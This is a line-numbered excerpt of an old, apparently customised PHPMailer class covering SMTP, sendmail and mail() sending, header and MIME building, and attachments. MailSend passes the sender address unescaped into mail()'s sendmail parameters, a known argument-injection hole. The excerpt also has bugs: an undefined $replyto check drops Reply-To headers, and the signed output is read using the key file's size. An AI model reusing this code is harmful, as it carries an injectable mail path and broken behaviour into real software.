  1754.    * mailer.
  1755.    * @param string $address
  1756.    * @param string $name
  1757.    * @return void
  1758.    */
  1759.   function AddCC($address, $name = '') {
  1760.     $cur = count($this->cc);
  1761.     $this->cc[$cur][0] = trim($address);
  1762.     $this->cc[$cur][1] = $name;
  1763.   }
  1764.  
  1765.   /**
  1766.    * Adds a "Bcc" address. Note: this function works
  1767.    * with the SMTP mailer on win32, not with the "mail"
  1768.    * mailer.
  1769.    * @param string $address
  1770.    * @param string $name
  1771.    * @return void
  1772.    */
  1773.   function AddBCC($address, $name = '') {
  1774.     $cur = count($this->bcc);
  1775.     $this->bcc[$cur][0] = trim($address);
  1776.     $this->bcc[$cur][1] = $name;
  1777.   }
  1778.  
  1779.   /**
  1780.    * Adds a "Reply-To" address.
  1781.    * @param string $address
  1782.    * @param string $name
  1783.    * @return void
  1784.    */
  1785.   function AddReplyTo($address, $name = '') {
  1786.     $cur = count($this->ReplyTo);
  1787.     $this->ReplyTo[$cur][0] = trim($address);
  1788.     $this->ReplyTo[$cur][1] = $name;
  1789.   }
  1790.  
  1791.   /////////////////////////////////////////////////
  1792.   // METHODS, MAIL SENDING
  1793.   /////////////////////////////////////////////////
  1794.  
  1795.   /**
  1796.    * Creates message and assigns Mailer. If the message is
  1797.    * not sent successfully then it returns false.  Use the ErrorInfo
  1798.    * variable to view description of the error.
  1799.    * @return bool
  1800.    */
  1801.   function Send() {
  1802.     $header = '';
  1803.     $body = '';
  1804.     $result = true;
  1805.  
  1806.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1807.       $this->SetError($this->Lang('provide_address'));
  1808.       return false;
  1809.     }
  1810.  
  1811.     /* Set whether the message is multipart/alternative */
  1812.     if(!empty($this->AltBody)) {
  1813.       $this->ContentType = 'multipart/alternative';
  1814.     }
  1815.  
  1816.     $this->error_count = 0; // reset errors
  1817.     $this->SetMessageType();
  1818.     $header .= $this->CreateHeader();
  1819.     $body = $this->CreateBody();
  1820.  
  1821.     if($body == '') {
  1822.       return false;
  1823.     }
  1824.  
  1825.     /* Choose the mailer */
  1826.     switch($this->Mailer) {
  1827.       case 'sendmail':
  1828.         $result = $this->SendmailSend($header, $body);
  1829.         break;
  1830.       case 'smtp':
  1831.         $result = $this->SmtpSend($header, $body);
  1832.         break;
  1833.       case 'mail':
  1834.         $result = $this->MailSend($header, $body);
  1835.         break;
  1836.       default:
  1837.         $result = $this->MailSend($header, $body);
  1838.         break;
  1839.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1840.         //$result = false;
  1841.         //break;
  1842.     }
  1843.  
  1844.     return $result;
  1845.   }
  1846.  
  1847.   /**
  1848.    * Sends mail using the $Sendmail program.
  1849.    * @access private
  1850.    * @return bool
  1851.    */
  1852.   function SendmailSend($header, $body) {
  1853.     if ($this->Sender != '') {
  1854.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1855.     } else {
  1856.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1857.     }
  1858.  
  1859.     if(!@$mail = popen($sendmail, 'w')) {
  1860.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1861.       return false;
  1862.     }
  1863.  
  1864.     fputs($mail, $header);
  1865.     fputs($mail, $body);
  1866.  
  1867.     $result = pclose($mail);
  1868.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1869.       $result = $result >> 8 & 0xFF;
  1870.     }
  1871.     if($result != 0) {
  1872.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1873.       return false;
  1874.     }
  1875.     return true;
  1876.   }
  1877.  
  1878.   /**
  1879.    * Sends mail using the PHP mail() function.
  1880.    * @access private
  1881.    * @return bool
  1882.    */
  1883.   function MailSend($header, $body) {
  1884.  
  1885.     $to = '';
  1886.     for($i = 0; $i < count($this->to); $i++) {
  1887.       if($i != 0) { $to .= ', '; }
  1888.       $to .= $this->AddrFormat($this->to[$i]);
  1889.     }
  1890.  
  1891.     $toArr = split(',', $to);
  1892.  
  1893.     $params = sprintf("-oi -f %s", $this->Sender);
  1894.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1895.       $old_from = ini_get('sendmail_from');
  1896.       ini_set('sendmail_from', $this->Sender);
  1897.       if ($this->SingleTo === true && count($toArr) > 1) {
  1898.         foreach ($toArr as $key => $val) {
  1899.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1900.         }
  1901.       } else {
  1902.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1903.       }
  1904.     } else {
  1905.       if ($this->SingleTo === true && count($toArr) > 1) {
  1906.         foreach ($toArr as $key => $val) {
  1907.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1908.         }
  1909.       } else {
  1910.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1911.       }
  1912.     }
  1913.  
  1914.     if (isset($old_from)) {
  1915.       ini_set('sendmail_from', $old_from);
  1916.     }
  1917.  
  1918.     if(!$rt) {
  1919.       $this->SetError($this->Lang('instantiate'));
  1920.       return false;
  1921.     }
  1922.  
  1923.     return true;
  1924.   }
  1925.  
  1926.   /**
  1927.    * Sends mail via SMTP using PhpSMTP (Author:
  1928.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1929.    * bad MAIL FROM, RCPT, or DATA input.
  1930.    * @access private
  1931.    * @return bool
  1932.    */
  1933.   function SmtpSend($header, $body) {
  1934.     $error = '';
  1935.     $bad_rcpt = array();
  1936.  
  1937.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1938.       return false;
  1939.     }
  1940.  
  1941.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1942.     if(!$this->smtp->Mail($smtp_from)) {
  1943.       $error = $this->Lang('from_failed') . $smtp_from;
  1944.       $this->SetError($error);
  1945.       $this->smtp->Reset();
  1946.       return false;
  1947.     }
  1948.  
  1949.     /* Attempt to send attach all recipients */
  1950.     for($i = 0; $i < count($this->to); $i++) {
  1951.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1952.         $bad_rcpt[] = $this->to[$i][0];
  1953.       }
  1954.     }
  1955.     for($i = 0; $i < count($this->cc); $i++) {
  1956.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1957.         $bad_rcpt[] = $this->cc[$i][0];
  1958.       }
  1959.     }
  1960.     for($i = 0; $i < count($this->bcc); $i++) {
  1961.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1962.         $bad_rcpt[] = $this->bcc[$i][0];
  1963.       }
  1964.     }
  1965.  
  1966.     if(count($bad_rcpt) > 0) { // Create error message
  1967.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1968.         if($i != 0) {
  1969.           $error .= ', ';
  1970.         }
  1971.         $error .= $bad_rcpt[$i];
  1972.  
  1973.       }
  1974.       $error = $this->Lang('recipients_failed') . $error;
  1975.       $this->SetError($error);
  1976.       $this->smtp->Reset();
  1977.       return false;
  1978.     }
  1979.  
  1980.     if(!$this->smtp->Data($header . $body)) {
  1981.       $this->SetError($this->Lang('data_not_accepted'));
  1982.       $this->smtp->Reset();
  1983.       return false;
  1984.     }
  1985.     if($this->SMTPKeepAlive == true) {
  1986.       $this->smtp->Reset();
  1987.     } else {
  1988.       $this->SmtpClose();
  1989.     }
  1990.  
  1991.     return true;
  1992.   }
  1993.  
  1994.   /**
  1995.    * Initiates a connection to an SMTP server.  Returns false if the
  1996.    * operation failed.
  1997.    * @access private
  1998.    * @return bool
  1999.    */
  2000.   function SmtpConnect() {
  2001.     if($this->smtp == NULL) {
  2002.       $this->smtp = new SMTP();
  2003.     }
  2004.  
  2005.     $this->smtp->do_debug = $this->SMTPDebug;
  2006.     $hosts = explode(';', $this->Host);
  2007.     $index = 0;
  2008.     $connection = ($this->smtp->Connected());
  2009.  
  2010.     /* Retry while there is no connection */
  2011.     while($index < count($hosts) && $connection == false) {
  2012.       $hostinfo = array();
  2013.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2014.         $host = $hostinfo[1];
  2015.         $port = $hostinfo[2];
  2016.       } else {
  2017.         $host = $hosts[$index];
  2018.         $port = $this->Port;
  2019.       }
  2020.  
  2021.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2022.         if ($this->Helo != '') {
  2023.           $this->smtp->Hello($this->Helo);
  2024.         } else {
  2025.           $this->smtp->Hello($this->ServerHostname());
  2026.         }
  2027.  
  2028.         $connection = true;
  2029.         if($this->SMTPAuth) {
  2030.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2031.             $this->SetError($this->Lang('authenticate'));
  2032.             $this->smtp->Reset();
  2033.             $connection = false;
  2034.           }
  2035.         }
  2036.       }
  2037.       $index++;
  2038.     }
  2039.     if(!$connection) {
  2040.       $this->SetError($this->Lang('connect_host'));
  2041.     }
  2042.  
  2043.     return $connection;
  2044.   }
  2045.  
  2046.   /**
  2047.    * Closes the active SMTP session if one exists.
  2048.    * @return void
  2049.    */
  2050.   function SmtpClose() {
  2051.     if($this->smtp != NULL) {
  2052.       if($this->smtp->Connected()) {
  2053.         $this->smtp->Quit();
  2054.         $this->smtp->Close();
  2055.       }
  2056.     }
  2057.   }
  2058.  
  2059.   /**
  2060.    * Sets the language for all class error messages.  Returns false
  2061.    * if it cannot load the language file.  The default language type
  2062.    * is English.
  2063.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2064.    * @param string $lang_path Path to the language file directory
  2065.    * @access public
  2066.    * @return bool
  2067.    */
  2068.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2069.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2070.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2071.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2072.       include($lang_path.'phpmailer.lang-en.php');
  2073.     } else {
  2074.       $this->SetError('Could not load language file');
  2075.       return false;
  2076.     }
  2077.     $this->language = $PHPMAILER_LANG;
  2078.  
  2079.     return true;
  2080.   }
  2081.  
  2082.   /////////////////////////////////////////////////
  2083.   // METHODS, MESSAGE CREATION
  2084.   /////////////////////////////////////////////////
  2085.  
  2086.   /**
  2087.    * Creates recipient headers.
  2088.    * @access private
  2089.    * @return string
  2090.    */
  2091.   function AddrAppend($type, $addr) {
  2092.     $addr_str = $type . ': ';
  2093.     $addr_str .= $this->AddrFormat($addr[0]);
  2094.     if(count($addr) > 1) {
  2095.       for($i = 1; $i < count($addr); $i++) {
  2096.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2097.       }
  2098.     }
  2099.     $addr_str .= $this->LE;
  2100.  
  2101.     return $addr_str;
  2102.   }
  2103.  
  2104.   /**
  2105.    * Formats an address correctly.
  2106.    * @access private
  2107.    * @return string
  2108.    */
  2109.   function AddrFormat($addr) {
  2110.     if(empty($addr[1])) {
  2111.       $formatted = $this->SecureHeader($addr[0]);
  2112.     } else {
  2113.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2114.     }
  2115.  
  2116.     return $formatted;
  2117.   }
  2118.  
  2119.   /**
  2120.    * Wraps message for use with mailers that do not
  2121.    * automatically perform wrapping and for quoted-printable.
  2122.    * Original written by philippe.
  2123.    * @access private
  2124.    * @return string
  2125.    */
  2126.   function WrapText($message, $length, $qp_mode = false) {
  2127.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2128.     // If utf-8 encoding is used, we will need to make sure we don't
  2129.     // split multibyte characters when we wrap
  2130.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2131.  
  2132.     $message = $this->FixEOL($message);
  2133.     if (substr($message, -1) == $this->LE) {
  2134.       $message = substr($message, 0, -1);
  2135.     }
  2136.  
  2137.     $line = explode($this->LE, $message);
  2138.     $message = '';
  2139.     for ($i=0 ;$i < count($line); $i++) {
  2140.       $line_part = explode(' ', $line[$i]);
  2141.       $buf = '';
  2142.       for ($e = 0; $e<count($line_part); $e++) {
  2143.         $word = $line_part[$e];
  2144.         if ($qp_mode and (strlen($word) > $length)) {
  2145.           $space_left = $length - strlen($buf) - 1;
  2146.           if ($e != 0) {
  2147.             if ($space_left > 20) {
  2148.               $len = $space_left;
  2149.               if ($is_utf8) {
  2150.                 $len = $this->UTF8CharBoundary($word, $len);
  2151.               } elseif (substr($word, $len - 1, 1) == "=") {
  2152.                 $len--;
  2153.               } elseif (substr($word, $len - 2, 1) == "=") {
  2154.                 $len -= 2;
  2155.               }
  2156.               $part = substr($word, 0, $len);
  2157.               $word = substr($word, $len);
  2158.               $buf .= ' ' . $part;
  2159.               $message .= $buf . sprintf("=%s", $this->LE);
  2160.             } else {
  2161.               $message .= $buf . $soft_break;
  2162.             }
  2163.             $buf = '';
  2164.           }
  2165.           while (strlen($word) > 0) {
  2166.             $len = $length;
  2167.             if ($is_utf8) {
  2168.               $len = $this->UTF8CharBoundary($word, $len);
  2169.             } elseif (substr($word, $len - 1, 1) == "=") {
  2170.               $len--;
  2171.             } elseif (substr($word, $len - 2, 1) == "=") {
  2172.               $len -= 2;
  2173.             }
  2174.             $part = substr($word, 0, $len);
  2175.             $word = substr($word, $len);
  2176.  
  2177.             if (strlen($word) > 0) {
  2178.               $message .= $part . sprintf("=%s", $this->LE);
  2179.             } else {
  2180.               $buf = $part;
  2181.             }
  2182.           }
  2183.         } else {
  2184.           $buf_o = $buf;
  2185.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2186.  
  2187.           if (strlen($buf) > $length and $buf_o != '') {
  2188.             $message .= $buf_o . $soft_break;
  2189.             $buf = $word;
  2190.           }
  2191.         }
  2192.       }
  2193.       $message .= $buf . $this->LE;
  2194.     }
  2195.  
  2196.     return $message;
  2197.   }
  2198.  
  2199.   /**
  2200.    * Finds last character boundary prior to maxLength in a utf-8
  2201.    * quoted (printable) encoded string.
  2202.    * Original written by Colin Brown.
  2203.    * @access private
  2204.    * @param string $encodedText utf-8 QP text
  2205.    * @param int    $maxLength   find last character boundary prior to this length
  2206.    * @return int
  2207.    */
  2208.   function UTF8CharBoundary($encodedText, $maxLength) {
  2209.     $foundSplitPos = false;
  2210.     $lookBack = 3;
  2211.     while (!$foundSplitPos) {
  2212.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2213.       $encodedCharPos = strpos($lastChunk, "=");
  2214.       if ($encodedCharPos !== false) {
  2215.         // Found start of encoded character byte within $lookBack block.
  2216.         // Check the encoded byte value (the 2 chars after the '=')
  2217.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2218.         $dec = hexdec($hex);
  2219.         if ($dec < 128) { // Single byte character.
  2220.           // If the encoded char was found at pos 0, it will fit
  2221.           // otherwise reduce maxLength to start of the encoded char
  2222.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2223.           $maxLength - ($lookBack - $encodedCharPos);
  2224.           $foundSplitPos = true;
  2225.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2226.           // Reduce maxLength to split at start of character
  2227.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2228.           $foundSplitPos = true;
  2229.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2230.           $lookBack += 3;
  2231.         }
  2232.       } else {
  2233.         // No encoded character found
  2234.         $foundSplitPos = true;
  2235.       }
  2236.     }
  2237.     return $maxLength;
  2238.   }
  2239.  
  2240.   /**
  2241.    * Set the body wrapping.
  2242.    * @access private
  2243.    * @return void
  2244.    */
  2245.   function SetWordWrap() {
  2246.     if($this->WordWrap < 1) {
  2247.       return;
  2248.     }
  2249.  
  2250.     switch($this->message_type) {
  2251.       case 'alt':
  2252.         /* fall through */
  2253.       case 'alt_attachments':
  2254.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2255.         break;
  2256.       default:
  2257.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2258.         break;
  2259.     }
  2260.   }
  2261.  
  2262.   /**
  2263.    * Assembles message header.
  2264.    * @access private
  2265.    * @return string
  2266.    */
  2267.   function CreateHeader() {
  2268.     $result = '';
  2269.  
  2270.     /* Set the boundaries */
  2271.     $uniq_id = md5(uniqid(time()));
  2272.     $this->boundary[1] = 'b1_' . $uniq_id;
  2273.     $this->boundary[2] = 'b2_' . $uniq_id;
  2274.  
  2275.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2276.     if($this->Sender == '') {
  2277.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2278.     } else {
  2279.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2280.     }
  2281.  
  2282.     /* To be created automatically by mail() */
  2283.     if($this->Mailer != 'mail') {
  2284.       if(count($this->to) > 0) {
  2285.         $result .= $this->AddrAppend('To', $this->to);
  2286.       } elseif (count($this->cc) == 0) {
  2287.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2288.       }
  2289.       if(count($this->cc) > 0) {
  2290.         $result .= $this->AddrAppend('Cc', $this->cc);
  2291.       }
  2292.     }
  2293.  
  2294.     $from = array();
  2295.     $from[0][0] = trim($this->From);
  2296.     $from[0][1] = $this->FromName;
  2297.     $result .= $this->AddrAppend('From', $from);
  2298.  
  2299.     /* sendmail and mail() extract Cc from the header before sending */
  2300.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2301.       $result .= $this->AddrAppend('Cc', $this->cc);
  2302.     }
  2303.  
  2304.     /* sendmail and mail() extract Bcc from the header before sending */
  2305.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2306.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2307.     }
  2308.     if($replyto != "")
  2309.     {
  2310.     if(count($this->ReplyTo) > 0) {
  2311.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2312.     }
  2313.     }
  2314.     /* mail() sets the subject itself */
  2315.     if($this->Mailer != 'mail') {
  2316.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2317.     }
  2318.  
  2319.     if($this->MessageID != '') {
  2320.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2321.     } else {
  2322.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2323.     }
  2324.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2325.     if($this->ConfirmReadingTo != '') {
  2326.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2327.     }
  2328.  
  2329.     // Add custom headers
  2330.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2331.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2332.     }
  2333.     if (!$this->sign_key_file) {
  2334.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2335.       $result .= $this->GetMailMIME();
  2336.     }
  2337.  
  2338.     return $result;
  2339.   }
  2340.  
  2341.   /**
  2342.    * Returns the message MIME.
  2343.    * @access private
  2344.    * @return string
  2345.    */
  2346.   function GetMailMIME() {
  2347.     $result = '';
  2348.     switch($this->message_type) {
  2349.       case 'plain':
  2350.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2351.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2352.         break;
  2353.       case 'attachments':
  2354.         /* fall through */
  2355.       case 'alt_attachments':
  2356.         if($this->InlineImageExists()){
  2357.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2358.         } else {
  2359.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2360.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2361.         }
  2362.         break;
  2363.       case 'alt':
  2364.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2365.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2366.         break;
  2367.     }
  2368.  
  2369.     if($this->Mailer != 'mail') {
  2370.       $result .= $this->LE.$this->LE;
  2371.     }
  2372.  
  2373.     return $result;
  2374.   }
  2375.  
  2376.   /**
  2377.    * Assembles the message body.  Returns an empty string on failure.
  2378.    * @access private
  2379.    * @return string
  2380.    */
  2381.   function CreateBody() {
  2382.     $result = '';
  2383.     if ($this->sign_key_file) {
  2384.       $result .= $this->GetMailMIME();
  2385.     }
  2386.  
  2387.     $this->SetWordWrap();
  2388.  
  2389.     switch($this->message_type) {
  2390.       case 'alt':
  2391.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2392.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2393.         $result .= $this->LE.$this->LE;
  2394.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2395.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2396.         $result .= $this->LE.$this->LE;
  2397.         $result .= $this->EndBoundary($this->boundary[1]);
  2398.         break;
  2399.       case 'plain':
  2400.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2401.         break;
  2402.       case 'attachments':
  2403.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2404.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2405.         $result .= $this->LE;
  2406.         $result .= $this->AttachAll();
  2407.         break;
  2408.       case 'alt_attachments':
  2409.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2410.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2411.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2412.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2413.         $result .= $this->LE.$this->LE;
  2414.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2415.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2416.         $result .= $this->LE.$this->LE;
  2417.         $result .= $this->EndBoundary($this->boundary[2]);
  2418.         $result .= $this->AttachAll();
  2419.         break;
  2420.     }
  2421.  
  2422.     if($this->IsError()) {
  2423.       $result = '';
  2424.     } else if ($this->sign_key_file) {
  2425.       $file = tempnam("", "mail");
  2426.       $fp = fopen($file, "w");
  2427.       fwrite($fp, $result);
  2428.       fclose($fp);
  2429.       $signed = tempnam("", "signed");
  2430.  
  2431.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2432.         $fp = fopen($signed, "r");
  2433.         $result = fread($fp, filesize($this->sign_key_file));
  2434.         fclose($fp);
  2435.       } else {
  2436.         $this->SetError($this->Lang("signing").openssl_error_string());
  2437.         $result = '';
  2438.       }
  2439.  
  2440.       unlink($file);
  2441.       unlink($signed);
  2442.     }
  2443.  
  2444.     return $result;
  2445.   }
  2446.  
  2447.   /**
  2448.    * Returns the start of a message boundary.
  2449.    * @access private
  2450.    */
  2451.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2452.     $result = '';
  2453.     if($charSet == '') {
  2454.       $charSet = $this->CharSet;
  2455.     }
  2456.     if($contentType == '') {
  2457.       $contentType = $this->ContentType;
  2458.     }
  2459.     if($encoding == '') {
  2460.       $encoding = $this->Encoding;
  2461.     }
  2462.     $result .= $this->TextLine('--' . $boundary);
  2463.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2464.     $result .= $this->LE;
  2465.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2466.     $result .= $this->LE;
  2467.  
  2468.     return $result;
  2469.   }
  2470.  
  2471.   /**
  2472.    * Returns the end of a message boundary.
  2473.    * @access private
  2474.    */
  2475.   function EndBoundary($boundary) {
  2476.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2477.   }
  2478.  
  2479.   /**
  2480.    * Sets the message type.
  2481.    * @access private
  2482.    * @return void
  2483.    */
  2484.   function SetMessageType() {
  2485.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2486.       $this->message_type = 'plain';
  2487.     } else {
  2488.       if(count($this->attachment) > 0) {
  2489.         $this->message_type = 'attachments';
  2490.       }
  2491.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2492.         $this->message_type = 'alt';
  2493.       }
  2494.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2495.         $this->message_type = 'alt_attachments';
  2496.       }
  2497.     }
  2498.   }
  2499.  
  2500.   /* Returns a formatted header line.
  2501.    * @access private
  2502.    * @return string
  2503.    */
  2504.   function HeaderLine($name, $value) {
  2505.     return $name . ': ' . $value . $this->LE;
  2506.   }
  2507.  
  2508.   /**
  2509.    * Returns a formatted mail line.
  2510.    * @access private
  2511.    * @return string
  2512.    */
  2513.   function TextLine($value) {
  2514.     return $value . $this->LE;
  2515.   }
  2516.  
  2517.   /////////////////////////////////////////////////
  2518.   // CLASS METHODS, ATTACHMENTS
  2519.   /////////////////////////////////////////////////
  2520.  
  2521.   /**
  2522.    * Adds an attachment from a path on the filesystem.
  2523.    * Returns false if the file could not be found
  2524.    * or accessed.
  2525.    * @param string $path Path to the attachment.
  2526.    * @param string $name Overrides the attachment name.
  2527.    * @param string $encoding File encoding (see $Encoding).
  2528.    * @param string $type File extension (MIME) type.
  2529.    * @return bool
  2530.    */
  2531.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2532.     if(!@is_file($path)) {
  2533.       $this->SetError($this->Lang('file_access') . $path);
  2534.       return false;
  2535.     }
  2536.  
  2537.     $filename = basename($path);
  2538.     if($name == '') {
  2539.       $name = $filename;
  2540.     }
  2541.  
  2542.     $cur = count($this->attachment);
  2543.     $this->attachment[$cur][0] = $path;
  2544.     $this->attachment[$cur][1] = $filename;
  2545.     $this->attachment[$cur][2] = $name;
  2546.     $this->attachment[$cur][3] = $encoding;
  2547.     $this->attachment[$cur][4] = $type;
  2548.     $this->attachment[$cur][5] = false; // isStringAttachment
  2549.     $this->attachment[$cur][6] = 'attachment';
  2550.     $this->attachment[$cur][7] = 0;
  2551.  
  2552.     return true;
  2553.   }
  2554.  
  2555.   /**
  2556.    * Attaches all fs, string, and binary attachments to the message.
  2557.    * Returns an empty string on failure.
  2558.    * @access private
  2559.    * @return string
  2560.    */
  2561.   function AttachAll() {
  2562.     /* Return text of body */
  2563.     $mime = array();
  2564.  
  2565.     /* Add all attachments */
  2566.     for($i = 0; $i < count($this->attachment); $i++) {
  2567.       /* Check for string attachment */
  2568.       $bString = $this->attachment[$i][5];
  2569.       if ($bString) {
  2570.         $string = $this->attachment[$i][0];
  2571.       } else {
  2572.         $path = $this->attachment[$i][0];
  2573.       }
  2574.  
  2575.       $filename    = $this->attachment[$i][1];
  2576.       $name        = $this->attachment[$i][2];
  2577.       $encoding    = $this->attachment[$i][3];
  2578.       $type        = $this->attachment[$i][4];
  2579.       $disposition = $this->attachment[$i][6];
  2580.       $cid         = $this->attachment[$i][7];
  2581.  
  2582.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2583.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2584.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2585.  
  2586.       if($disposition == 'inline') {
  2587.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2588.       }
  2589.  
  2590.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2591.  
  2592.       /* Encode as string attachment */
  2593.       if($bString) {
  2594.         $mime[] = $this->EncodeString($string, $encoding);
  2595.         if($this->IsError()) {
  2596.           return '';
  2597.         }
  2598.         $mime[] = $this->LE.$this->LE;
  2599.       } else {
  2600.         $mime[] = $this->EncodeFile($path, $encoding);
  2601.         if($this->IsError()) {
  2602.           return '';
  2603.         }
  2604.         $mime[] = $this->LE.$this->LE;
  2605.       }
  2606.     }
  2607.  
  2608.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2609.  
  2610.     return join('', $mime);
  2611.   }
  2612.  
  2613.   /**
  2614.    * Encodes attachment in requested format.  Returns an
  2615.    * empty string on failure.
  2616.    * @access private
  2617.    * @return string
  2618.    */
  2619.   function EncodeFile ($path, $encoding = 'base64') {
  2620.     if(!@$fd = fopen($path, 'rb')) {
  2621.       $this->SetError($this->Lang('file_open') . $path);
  2622.       return '';
  2623.     }
  2624.     $magic_quotes = get_magic_quotes_runtime();
  2625.     set_magic_quotes_runtime(0);
  2626.     $file_buffer = fread($fd, filesize($path));
  2627.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2628.     fclose($fd);
  2629.     set_magic_quotes_runtime($magic_quotes);
  2630.  
  2631.     return $file_buffer;
  2632.   }
  2633.  
  2634.   /**
  2635.    * Encodes string to requested format. Returns an
  2636.    * empty string on failure.
  2637.    * @access private
  2638.    * @return string
  2639.    */
  2640.   function EncodeString ($str, $encoding = 'base64') {
  2641.     $encoded = '';
  2642.     switch(strtolower($encoding)) {
